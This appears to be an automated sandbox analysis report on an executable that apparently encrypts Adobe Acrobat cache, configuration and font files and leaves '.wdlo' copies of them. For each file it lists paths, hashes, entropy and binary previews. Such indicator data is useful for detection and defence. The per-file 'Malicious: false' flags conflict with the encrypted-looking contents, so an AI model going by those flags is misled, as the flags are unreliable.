Preview:	insec.z-.sY.f..Uu=.d.I[s8..;p.D...m....h...'r.n.sb...;.y.CO-.bM...&/.t.R.c..+%*.q\3...\1...#....>.....'....;`0'.....->..y...v.4..(0..cf..Q..`..EX....[....T(....LX.h.....&.QT>'.ytO<....V....Y...).%q4.)(B.....D...f.r.<=dy.........z.1..6.E....Reuu ...drH>..8.}.j9i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	7.6283029333867844
Encrypted:	false
SSDEEP:	12:koN94eeWIhWZpp/ST2RCTlKEbJnhAgxCex9BNTCJ36Wcii9a:uzo3paT2ClR1nGgkefT63zbD
MD5:	A72EC3D7890DC473501E564079A50BBD
SHA1:	2E47DF9A7C5A0DDFB482862F9F9F981C2F44F72B
SHA-256:	E651E2492D37028388F3F25D1BD5F8107E37506A0DE085C6612B7E9C49FE37D2
SHA-512:	D06062E39623EE69E64CDFDD3D985C4ABA975DFBCE66144DBA37133432E4C369BD97F75D3D0DF4E9D8C916873B2DA477A931572868A426D730841748C858C7A9
Malicious:	false
Preview:	2023/..x...'...-...zS..%.'...3].-..r...>.{fV}..\|M_.....T.+.v..6......G~..{...\|.t4...P...M.BUC.l..c%.i....2<....>............"1a..&.6.g.+:#85....}$.w.f......"d`5..>.....l.g?.["..7?/.n.3.;.....W,U..W..\|......o............I.."..B-<.H..o$.hy.l...y7..f.'.)[N\."..T.?b.K..R.gd.;_..n.~Bb...FR...j.0U1b.W8.9m.@.b...I?......R.T?7....'0..).W..$...]z..%{j.-...Hu.K...t..R....k.O*;.@........Y`....U......I......].........q.,.[c.,Q..1..qEAp..zd..mf[N.Y..q.Q.{.$S..@.!.._W.5....f....h...gd3.Z?.x.....Yt%H).y.....O..).=>K.Y.....b.{Fx.ai0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	7.6283029333867844
Encrypted:	false
SSDEEP:	12:koN94eeWIhWZpp/ST2RCTlKEbJnhAgxCex9BNTCJ36Wcii9a:uzo3paT2ClR1nGgkefT63zbD
MD5:	A72EC3D7890DC473501E564079A50BBD
SHA1:	2E47DF9A7C5A0DDFB482862F9F9F981C2F44F72B
SHA-256:	E651E2492D37028388F3F25D1BD5F8107E37506A0DE085C6612B7E9C49FE37D2
SHA-512:	D06062E39623EE69E64CDFDD3D985C4ABA975DFBCE66144DBA37133432E4C369BD97F75D3D0DF4E9D8C916873B2DA477A931572868A426D730841748C858C7A9
Malicious:	false
Preview:	2023/..x...'...-...zS..%.'...3].-..r...>.{fV}..\|M_.....T.+.v..6......G~..{...\|.t4...P...M.BUC.l..c%.i....2<....>............"1a..&.6.g.+:#85....}$.w.f......"d`5..>.....l.g?.["..7?/.n.3.;.....W,U..W..\|......o............I.."..B-<.H..o$.hy.l...y7..f.'.)[N\."..T.?b.K..R.gd.;_..n.~Bb...FR...j.0U1b.W8.9m.@.b...I?......R.T?7....'0..).W..$...]z..%{j.-...Hu.K...t..R....k.O*;.@........Y`....U......I......].........q.,.[c.,Q..1..qEAp..zd..mf[N.Y..q.Q.{.$S..@.!.._W.5....f....h...gd3.Z?.x.....Yt%H).y.....O..).=>K.Y.....b.{Fx.ai0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	669
Entropy (8bit):	7.6521215512244
Encrypted:	false
SSDEEP:	12:kam3DIaNpX3bFppbUacGc7JZyeQn44AAsg3YtlbWdQ5Yau3VCiY36Wcii9a:CVPVLcVJZMn4/lloQ5Yj3VCiY3zbD
MD5:	37065FE8B570C014CA862F3A7785B978
SHA1:	45EB3A6838ECFD3955CB571EE7B2B57318C0D64F
SHA-256:	33254D48C68A51836A2A1277BED6CF38A99D26D91467D9DD56756EFE0DEEB40C
SHA-512:	2102D9C443680C210ACEBE695466D7A7FB059F3584432F3370568A191FDA605DB958938273A79655D95C8B4446DEBD1A9E43C18B2F0F2913DA26FD061DAA1743
Malicious:	false
Preview:	2023/..Nla.FG.._...`X.....w.......!.?.3..b.8...[...Iy0.i.....j.".=..@..X{..#..b.c..s$J5.Q.$..hR6h8.......X.:.......F...$.Se....f..:dvq...P.....F.....9.(...a.5.....Q..1.....vo.3.[."BQ....2..=t...?.......,....n..R..yU.t....7q..E/.u.....gJ.)g..@....;.....J.5>,......2...Ij.t..d..J@1.:..L...=....Vw\.........C.9...9#.F'..^....Wu3.j%..4..:].wi..W.l......7..$....;@9.v=.....2...r.$IVg...+.."n...O.`.1G;W...S..\|.~...5.j.l..d..Z..3...".=.....e..C.#.4.............iA$..us...T...%..g)....#&..c.aY..aFe..A....Zg.e...*D....%T...........t........,..$...e.Q......i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	669
Entropy (8bit):	7.6521215512244
Encrypted:	false
SSDEEP:	12:kam3DIaNpX3bFppbUacGc7JZyeQn44AAsg3YtlbWdQ5Yau3VCiY36Wcii9a:CVPVLcVJZMn4/lloQ5Yj3VCiY3zbD
MD5:	37065FE8B570C014CA862F3A7785B978
SHA1:	45EB3A6838ECFD3955CB571EE7B2B57318C0D64F
SHA-256:	33254D48C68A51836A2A1277BED6CF38A99D26D91467D9DD56756EFE0DEEB40C
SHA-512:	2102D9C443680C210ACEBE695466D7A7FB059F3584432F3370568A191FDA605DB958938273A79655D95C8B4446DEBD1A9E43C18B2F0F2913DA26FD061DAA1743
Malicious:	false
Preview:	2023/..Nla.FG.._...`X.....w.......!.?.3..b.8...[...Iy0.i.....j.".=..@..X{..#..b.c..s$J5.Q.$..hR6h8.......X.:.......F...$.Se....f..:dvq...P.....F.....9.(...a.5.....Q..1.....vo.3.[."BQ....2..=t...?.......,....n..R..yU.t....7q..E/.u.....gJ.)g..@....;.....J.5>,......2...Ij.t..d..J@1.:..L...=....Vw\.........C.9...9#.F'..^....Wu3.j%..4..:].wi..W.l......7..$....;@9.v=.....2...r.$IVg...+.."n...O.`.1G;W...S..\|.~...5.j.l..d..Z..3...".=.....e..C.#.4.............iA$..us...T...%..g)....#&..c.aY..aFe..A....Zg.e...*D....%T...........t........,..$...e.Q......i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.736045094609943
Encrypted:	false
SSDEEP:	24:YKWu1fugcJs2cO9HkaId7dQniKvdmfsbHzEx3zbD:YYV/KuGHmXQniedmfsPEx3nD
MD5:	5BEC4B95B32BA8835203AAD380DCDF25
SHA1:	8574197528A8C08CCC06262B7C1373C6A43D1BB7
SHA-256:	C8D37966572B8B4C22B17F9DE87F3D45FE764A41CDB21E2A1AC573805B29E179
SHA-512:	D6DD8E80790DB175B9CABC3E9A42519311BB69576F3163309DE050FFA496DD67E305B56886E89679EC139B5100AC2852D85D5111D7870AA53AFB950F131A2F60
Malicious:	false
Preview:	{"os_.P%.;...Nv,d0...1.....!.e.$....sb..v+yr7.Er:.8i8.....foZ.x/<V.'Veu#\|LF...@.\|..g..GT.(.A.......\|..._...g9....lT.@.O%;....H......k.0,.qq-O..........3Y...}^......d..Q.E~u..,........B.u....+x...}...<...xan%...ZUyE.',]....{_,+.._k.f\.6.e./9.=....j#.C..C.'...R......r#>.G....S....u.....&.....;..S.r.k..5.#J..S%..,..\..<G.........E.J.8......m....(....E.L.......e=;&tO...o...QF.0...8j.4..._p....%..c...6L......C2..X..{..N.G.~.....kX.gi..b...b....s{..!..x..YRH.....Z.^..+.$D..Z.[sn..._....Yt....e .f..K..h....3.U......s..d..i.k.7...j..I1.A..3..]......bD..^-1.4.4.)&..LGvP.+m.G...}...a.[=..{....P...Z.i.]..n.....C.&.3..`..t..4...h..IWT..\|m......*...k'(;_CV...a..;.&..D.$Yr..$O.D..G..0.3...q\..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.736045094609943
Encrypted:	false
SSDEEP:	24:YKWu1fugcJs2cO9HkaId7dQniKvdmfsbHzEx3zbD:YYV/KuGHmXQniedmfsPEx3nD
MD5:	5BEC4B95B32BA8835203AAD380DCDF25
SHA1:	8574197528A8C08CCC06262B7C1373C6A43D1BB7
SHA-256:	C8D37966572B8B4C22B17F9DE87F3D45FE764A41CDB21E2A1AC573805B29E179
SHA-512:	D6DD8E80790DB175B9CABC3E9A42519311BB69576F3163309DE050FFA496DD67E305B56886E89679EC139B5100AC2852D85D5111D7870AA53AFB950F131A2F60
Malicious:	false
Preview:	{"os_.P%.;...Nv,d0...1.....!.e.$....sb..v+yr7.Er:.8i8.....foZ.x/<V.'Veu#\|LF...@.\|..g..GT.(.A.......\|..._...g9....lT.@.O%;....H......k.0,.qq-O..........3Y...}^......d..Q.E~u..,........B.u....+x...}...<...xan%...ZUyE.',]....{_,+.._k.f\.6.e./9.=....j#.C..C.'...R......r#>.G....S....u.....&.....;..S.r.k..5.#J..S%..,..\..<G.........E.J.8......m....(....E.L.......e=;&tO...o...QF.0...8j.4..._p....%..c...6L......C2..X..{..N.G.~.....kX.gi..b...b....s{..!..x..YRH.....Z.^..+.$D..Z.[sn..._....Yt....e .f..K..h....3.U......s..d..i.k.7...j..I1.A..3..]......bD..^-1.4.4.)&..LGvP.+m.G...}...a.[=..{....P...Z.i.]..n.....C.&.3..`..t..4...h..IWT..\|m......*...k'(;_CV...a..;.&..D.$Yr..$O.D..G..0.3...q\..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3947
Entropy (8bit):	7.952402188581298
Encrypted:	false
SSDEEP:	96:vVxYlAh+c4GMYRiMy8ecqd13kNdvQfAlWGeRKlBE:kAh74GMYTHecqdRkNdvQfAlWGE/
MD5:	614134BDFF0333B7D195A37DC250CC0F
SHA1:	22FB7E1672299026A8FEBAA10EE50A92DCCBF066
SHA-256:	A6447D60A04EE01E2DA7921986AC07FA8FBF29BADB6283450007FE8D9C4F14D1
SHA-512:	99C8ADD6CF56FE89B0AD4BBF18D982F633B0B677A5654EFF34A23E7B08A1704098A15DDE71D599198ED9155ACC5670F75F7870D5AF1EFF797BA142870D378044
Malicious:	false
Preview:	...#.~{/E...."..D~.}.'}..zH.....>...t6y.....Px.nZ......G..r8...L^^......5..m#O.g%M...L.[..i`.....@!.dP.P..5....G......d...;.......r.....C$..gk..O..P....DP........_l.Vv..hX!Zb._w1U...\|H.$.?&.......0..?..r.yH.a._.PJ.....\|Q...C..x.@il...V.h...r..:..K.P3..!.P[.a .7#a. ......^..~ .gl...o.....+.7....S.B.......:Z...>.,s...}....9k...).w.i1e..{z......]NnT.=ah.....B.K#u.........1...l..{@......v.B......:.......r..7Ya..>.D...............Vv...?.mF4...$:."._:s._......@px6....RM94J.(.q).<...n..........p.......{.....j.....Y...{..M@.n8S++F..w.8..........hNu(...-.-]<.L.> .<...l..B.Fb.%.z..`bmU...H.....ic..}....~."...k{....6....O"DU;m...yH.....7..^..+.s....g..p"G......Qc....{..u....Nb....$4<.b.bYQ>....V..].ru.3Tj...:......5..._G.gs....T~..T.........Q..V.....aXc.....h.qK....?r..n..E...Pp...s?F.b;...u..^r...j...S....A.m..P..O.4......).........B.....\.x$H...A!f0.`O!... '..*..@E8..$P....8j....8Z.]._L..=./#$.0..>.v..@.bN.^<Q.!8.F......adQ_.G.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3947
Entropy (8bit):	7.952402188581298
Encrypted:	false
SSDEEP:	96:vVxYlAh+c4GMYRiMy8ecqd13kNdvQfAlWGeRKlBE:kAh74GMYTHecqdRkNdvQfAlWGE/
MD5:	614134BDFF0333B7D195A37DC250CC0F
SHA1:	22FB7E1672299026A8FEBAA10EE50A92DCCBF066
SHA-256:	A6447D60A04EE01E2DA7921986AC07FA8FBF29BADB6283450007FE8D9C4F14D1
SHA-512:	99C8ADD6CF56FE89B0AD4BBF18D982F633B0B677A5654EFF34A23E7B08A1704098A15DDE71D599198ED9155ACC5670F75F7870D5AF1EFF797BA142870D378044
Malicious:	false
Preview:	...#.~{/E...."..D~.}.'}..zH.....>...t6y.....Px.nZ......G..r8...L^^......5..m#O.g%M...L.[..i`.....@!.dP.P..5....G......d...;.......r.....C$..gk..O..P....DP........_l.Vv..hX!Zb._w1U...\|H.$.?&.......0..?..r.yH.a._.PJ.....\|Q...C..x.@il...V.h...r..:..K.P3..!.P[.a .7#a. ......^..~ .gl...o.....+.7....S.B.......:Z...>.,s...}....9k...).w.i1e..{z......]NnT.=ah.....B.K#u.........1...l..{@......v.B......:.......r..7Ya..>.D...............Vv...?.mF4...$:."._:s._......@px6....RM94J.(.q).<...n..........p.......{.....j.....Y...{..M@.n8S++F..w.8..........hNu(...-.-]<.L.> .<...l..B.Fb.%.z..`bmU...H.....ic..}....~."...k{....6....O"DU;m...yH.....7..^..+.s....g..p"G......Qc....{..u....Nb....$4<.b.bYQ>....V..].ru.3Tj...:......5..._G.gs....T~..T.........Q..V.....aXc.....h.qK....?r..n..E...Pp...s?F.b;...u..^r...j...S....A.m..P..O.4......).........B.....\.x$H...A!f0.`O!... '..*..@E8..$P....8j....8Z.]._L..=./#$.0..>.v..@.bN.^<Q.!8.F......adQ_.G.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	657
Entropy (8bit):	7.64480335302131
Encrypted:	false
SSDEEP:	12:kmVDX8++pOq3oQmE7RpjWoFc8G8NGCGsbwQyKxqqhT36Wcii9a:v58++FNmE7ioW8tGsbOKxqqd3zbD
MD5:	8541D9F723493914319610964A862720
SHA1:	FE61E81BEACF82EAFAEE75407AD53B991B74C674
SHA-256:	82CCB0F47EB0C3BA4CB50D8775217F8B13ADF91C9DC3CC3C906F01C165FF4B42
SHA-512:	795B152E5C5C0C21CD86A15B15231FE2A667F6C811B80A2215B97F7E727560142CB68E68D4AB3251366BB49C373F9C1C9DB90A5BA517485A9AA096A758A495DF
Malicious:	false
Preview:	2023/.;.A-...iT.Q..].R.3P....>...O.. .Ib!U..1uEH..HN...S.b...C~..9.m.I.<...r......=~.'.:.S.......a.!..9.L...!.j....}<=.....d.5..5.L..@.L.I......m.E...._V;J.......[&.......P/T6..L!.......Y.&..).K....H._.]....~......ad.../V...g......0...@4.a...N.....-(t.._.g..97 H 6....ADkR.,U.P......l.W.2...J;y2/?...u.9...R.2..>..E.62....7.,..;..(....O33.:..G(/x.../s:.:...Q#I\|h.-:...mu8.......G-RzT...?.U.....v]`'...^..A...1?_9i.b...'(e......+...$.n...Mtm.......d......PJ...C......7..S.QCP.i...{IuPw.X..Q=..7.....L.\|....+..&.m.9..S.9v...o6.HS....j..".w...9E.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	657
Entropy (8bit):	7.64480335302131
Encrypted:	false
SSDEEP:	12:kmVDX8++pOq3oQmE7RpjWoFc8G8NGCGsbwQyKxqqhT36Wcii9a:v58++FNmE7ioW8tGsbOKxqqd3zbD
MD5:	8541D9F723493914319610964A862720
SHA1:	FE61E81BEACF82EAFAEE75407AD53B991B74C674
SHA-256:	82CCB0F47EB0C3BA4CB50D8775217F8B13ADF91C9DC3CC3C906F01C165FF4B42
SHA-512:	795B152E5C5C0C21CD86A15B15231FE2A667F6C811B80A2215B97F7E727560142CB68E68D4AB3251366BB49C373F9C1C9DB90A5BA517485A9AA096A758A495DF
Malicious:	false
Preview:	2023/.;.A-...iT.Q..].R.3P....>...O.. .Ib!U..1uEH..HN...S.b...C~..9.m.I.<...r......=~.'.:.S.......a.!..9.L...!.j....}<=.....d.5..5.L..@.L.I......m.E...._V;J.......[&.......P/T6..L!.......Y.&..).K....H._.]....~......ad.../V...g......0...@4.a...N.....-(t.._.g..97 H 6....ADkR.,U.P......l.W.2...J;y2/?...u.9...R.2..>..E.62....7.,..;..(....O33.:..G(/x.../s:.:...Q#I\|h.-:...mu8.......G-RzT...?.U.....v]`'...^..A...1?_9i.b...'(e......+...$.n...Mtm.......d......PJ...C......7..S.QCP.i...{IuPw.X..Q=..7.....L.\|....+..&.m.9..S.9v...o6.HS....j..".w...9E.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.291712828601101
Encrypted:	false
SSDEEP:	6:d/tJb6jPefYMzoSzT1UUdACaTOruSl+jynqAoMTlEgLH+yHBOsVolWbz6Wcii96Z:r8P6ZnLddRr/sjyqNMOgLH36Wcii9a
MD5:	8AEB895327DE84AE51BE578B913B7E71
SHA1:	7C89C68095582F66B1753451215348006B5BEA23
SHA-256:	268BF889F33A85E52C9F7F0BD0CA72A55B85A3295E72BA5C72B80599F6011756
SHA-512:	D49A13C9EFC67C8C02B1710382C3FA010E103A771CADECD7CC475F5B146952441747EF3049AF007A66876E09AC1514E03E98A1700854D4903E2D6CB36A9C909F
Malicious:	false
Preview:	08../?..z..R..3..-...-..i5....q.{].......&u.-.....>.w.W....lj.<g"I.]j'...q.g...H........EU.y.i..i.b.]..a.D..JMub..>3.E...@....11...t...l...C...!...'E.,.Z.."..@.....N..q.z.WN.M...U.H7.....M...io.....jVI..n.&.......z7....:n.....~ZM>...d.T!*.;..8.r.HB..lm..4...C..<.yV......$O.m/..u..d.$.....&...,K.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.291712828601101
Encrypted:	false
SSDEEP:	6:d/tJb6jPefYMzoSzT1UUdACaTOruSl+jynqAoMTlEgLH+yHBOsVolWbz6Wcii96Z:r8P6ZnLddRr/sjyqNMOgLH36Wcii9a
MD5:	8AEB895327DE84AE51BE578B913B7E71
SHA1:	7C89C68095582F66B1753451215348006B5BEA23
SHA-256:	268BF889F33A85E52C9F7F0BD0CA72A55B85A3295E72BA5C72B80599F6011756
SHA-512:	D49A13C9EFC67C8C02B1710382C3FA010E103A771CADECD7CC475F5B146952441747EF3049AF007A66876E09AC1514E03E98A1700854D4903E2D6CB36A9C909F
Malicious:	false
Preview:	08../?..z..R..3..-...-..i5....q.{].......&u.-.....>.w.W....lj.<g"I.]j'...q.g...H........EU.y.i..i.b.]..a.D..JMub..>3.E...@....11...t...l...C...!...'E.,.Z.."..@.....N..q.z.WN.M...U.H7.....M...io.....jVI..n.&.......z7....:n.....~ZM>...d.T!*.;..8.r.HB..lm..4...C..<.yV......$O.m/..u..d.$.....&...,K.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	modified
Size (bytes):	460
Entropy (8bit):	7.5062853718127736
Encrypted:	false
SSDEEP:	12:GggzKIg4ECKogXQ11uFK/4SLTSstSB3G97ST36Wcii9a:GzzKp4rKpQ1ge44OstSBW9O3zbD
MD5:	F6ED72CB49B6FDE7AA98E7FE50F237AD
SHA1:	F9A3B668E12BDB0C344C5AC3E3FEB21DFFE5BBCC
SHA-256:	4DC802F3DDD0B083E4762896E01F93899004F8D04916F4FDEDFD9A426F1044F3
SHA-512:	739040B066E6F93E5AC3EA6228F155AFD655D960148133A3D06467E1B6E862D9083176FCDED8FE919DC9353BB2C6CE7609E09663570822F26A1EC6A6799A72EE
Malicious:	false
Preview:	.h.6.c..F....$....z........K..%tY...;R....$...#.$+..../.Q....M@...R...s.j..N..{..x.O=K...\Cu..BW^m.....?...~..j.6..Y=....D...-.0..F.:.....PJ....sj..gW>.a..\|\..b..)u...F.%..^M...B_.......Z_b....R.....e.M...V...X0..g.M).........6...}."9.=...NM.hj`.7nfE.U..p.p...\|(......r".b..'Sg.........#\|..d...(....... IH..=..W.NL...jj.+..Y.D.'..n.x..a....8{d..}..+.....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	460
Entropy (8bit):	7.5062853718127736
Encrypted:	false
SSDEEP:	12:GggzKIg4ECKogXQ11uFK/4SLTSstSB3G97ST36Wcii9a:GzzKp4rKpQ1ge44OstSBW9O3zbD
MD5:	F6ED72CB49B6FDE7AA98E7FE50F237AD
SHA1:	F9A3B668E12BDB0C344C5AC3E3FEB21DFFE5BBCC
SHA-256:	4DC802F3DDD0B083E4762896E01F93899004F8D04916F4FDEDFD9A426F1044F3
SHA-512:	739040B066E6F93E5AC3EA6228F155AFD655D960148133A3D06467E1B6E862D9083176FCDED8FE919DC9353BB2C6CE7609E09663570822F26A1EC6A6799A72EE
Malicious:	false
Preview:	.h.6.c..F....$....z........K..%tY...;R....$...#.$+..../.Q....M@...R...s.j..N..{..x.O=K...\Cu..BW^m.....?...~..j.6..Y=....D...-.0..F.:.....PJ....sj..gW>.a..\|\..b..)u...F.%..^M...B_.......Z_b....R.....e.M...V...X0..g.M).........6...}."9.=...NM.hj`.7nfE.U..p.p...\|(......r".b..'Sg.........#\|..d...(....... IH..=..W.NL...jj.+..Y.D.'..n.x..a....8{d..}..+.....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\.curlrc

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.301238718263729
Encrypted:	false
SSDEEP:	6:KWADAAcTFPG5fmFRGPKqO0ofD0nLTEdh9FJG9vyNTlvEgvOsVolWbz6Wcii96Z:NAtcVGBmuKqVYDWEdh9F09vyhlsgZ36Q
MD5:	96D323C8EA5FF210EE406A7FF542CAD9
SHA1:	B6A26B188B4A420FCBDC115CAD30312FB1603C65
SHA-256:	535A5ED146B4A5B7081DC75ABB2B016D1C7D497CB82524803840D35E6803D3A3
SHA-512:	E7E885A24AF41F00A64CAD8891B382D69DE995FC527FF5774E34E04A0B15E000DBC1CDFDEA6041149D116DA6F3200FC63207379F44CD60C05F09965AFB0180B2
Malicious:	false
Preview:	insec..._..).f.e....X.b.e......ZJq....&.".'6.`....L..~^B.%..[.z.1.OUJ.L...:9..E.t..;.`....n.....v.....E.^?....).....S......C..,..c...z%z}.-...~...<g.....3..tO..<.U....4.2....:.....i....s=Bf....7.}"g...@.z..B.s....>..G..(.\|.@}8?=.pT..M...%...,....&i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.866928905965332
Encrypted:	false
SSDEEP:	48:oAgj5fjgAVyFrgwTxr/bBT9aEiTXzy0Y3nD:ohlVIT83o
MD5:	C9CBF476C5F1A843B56B397D521D7538
SHA1:	06396B4FA67F886C161C9ADD5CA672D99CDF6F1B
SHA-256:	FC08766A33C68B0B3C787E0E1B5A69AFA61094504DC5BF5E5D67CF55EB95A133
SHA-512:	78FE4E1AC7547EAD8597C08B9FC1FD0D6AB49A5C0A2C2C2F04712AD49F907EA0364804A1EAFF5012091B226CB15FC0A48DFEF6CCD48C8DA6C34F76946C326F2B
Malicious:	false
Preview:	%!Ado.j...d.._<6....\|...G._J......b.=/.r.&vV\|H?s.5......X......Uqs.....S...M2.r.......S._..)..,B;...Q.y..1..6.....m..]#..A.)...-.....t(..R.t..a......{.......=....:..._..^z..T\|N..+..S.....R..P-..b..F.......I0.W..!.o.^.....gt.Z.......B&.....Ii=...&..+.....GF-"K.(...T.F..t.....d..f.3...kf.`..R.3.>.e.H.%.)HD.....f.\,.........({.......M...c..t.l...m....m..R......:3..A~.H.Pwo..8fR)..V..?..L...].2.8..,.. .c.1.!e.O..k.R.:..>d.ku..a...Bko..E#ne+.".(.@.+....C.F........nw7.........9.!....b\{./d(."...<....F...Vlnp<..{k.....ff...k...1[&u.-..w?...0ca.1y...]. 